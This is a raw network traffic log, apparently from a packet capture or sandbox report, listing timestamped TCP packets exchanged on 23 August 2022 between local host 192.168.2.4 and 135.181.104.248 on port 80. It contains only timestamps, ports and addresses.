Aug 23, 2022 03:42:56.078145027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078166008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078228951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.078238010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078322887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078378916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078479052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078481913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.078510046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078545094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078588963 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.078619957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.078628063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078663111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078721046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.078749895 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.078907967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078937054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078952074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078984022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.079015970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.079027891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.079054117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.079067945 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.079484940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.079547882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.080060959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.080491066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.081154108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081198931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081219912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.081248999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.081270933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081291914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081330061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.081367970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081387997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081420898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.081428051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.082137108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.085854053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.086015940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.103568077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.103672028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.103903055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.104091883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.104098082 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.104165077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.104234934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.104341984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.104435921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.105262041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.105324030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.105324984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.105386972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.105389118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.105437994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.105446100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.105499029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.105503082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.105559111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.105582952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.105607033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.107805967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.107846975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.107889891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.107897997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.107928038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.107930899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.107973099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108012915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108017921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108052015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108083010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108093023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108093023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108139038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108180046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108186007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108222961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108263016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108278036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108304024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108319998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108340025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108346939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108386040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108388901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108429909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108429909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108472109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108513117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108514071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108556986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108596087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108601093 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108638048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108639956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108681917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108726978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108762026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108769894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.108772039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.108967066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109004974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109010935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109014988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109054089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109095097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109096050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109141111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109180927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109205961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109215021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109220982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109261036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109302044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109313965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109344959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109381914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109385967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109426975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109438896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109467983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109505892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109514952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109548092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109549046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109589100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109627008 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.109631062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.109726906 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110110998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110151052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110162973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110193014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110213995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110234976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110234976 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110277891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110321045 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110332012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110362053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110402107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110404015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110444069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110444069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110483885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110524893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110531092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110563993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110606909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110608101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110649109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110675097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110691071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110697985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110733986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110763073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110778093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110781908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110819101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.110819101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.110857010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111182928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111223936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111238956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111260891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111264944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111305952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111306906 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111347914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111373901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111417055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111459017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111459017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111501932 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111541986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111543894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111583948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111624956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111627102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111665010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111668110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111711979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111753941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111795902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111799955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111840963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111884117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111884117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111927032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.111967087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.111969948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112013102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112056017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112087965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112096071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112098932 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112148046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112193108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112204075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112234116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112276077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112281084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112319946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112360001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112375975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112401962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112406969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112445116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112487078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112495899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112622023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112664938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112679958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112705946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112706900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112751007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112792015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112795115 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112834930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112878084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112881899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112919092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112926960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.112963915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.112967968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.113003016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118113995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118139029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118159056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118222952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118247032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118423939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118443966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118464947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118485928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118488073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118508101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118527889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118534088 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118550062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118552923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118570089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118591070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118594885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118609905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118613005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118624926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118634939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118657112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118659019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118678093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118680000 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118701935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118704081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118724108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118725061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118742943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118751049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118765116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118766069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118778944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118787050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118794918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118808031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118820906 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118829012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118840933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118849993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118858099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118871927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118894100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118894100 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118915081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118916035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118928909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118937969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118957996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118963957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118978977 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.118989944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.118997097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119000912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119021893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119024992 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119043112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119046926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119065046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119081974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119085073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119096041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119108915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119129896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119137049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119149923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119172096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119179010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119193077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119199991 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119215012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119216919 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119234085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119235992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119246960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119263887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119281054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119286060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119301081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119307995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119328976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119333029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119359016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119366884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119369030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119391918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119401932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119412899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119432926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119448900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119453907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119473934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119474888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119496107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119497061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119513035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119518042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119528055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119539022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119559050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119560003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119574070 CEST	49792	80	192.168.2.4	135.181.104.248
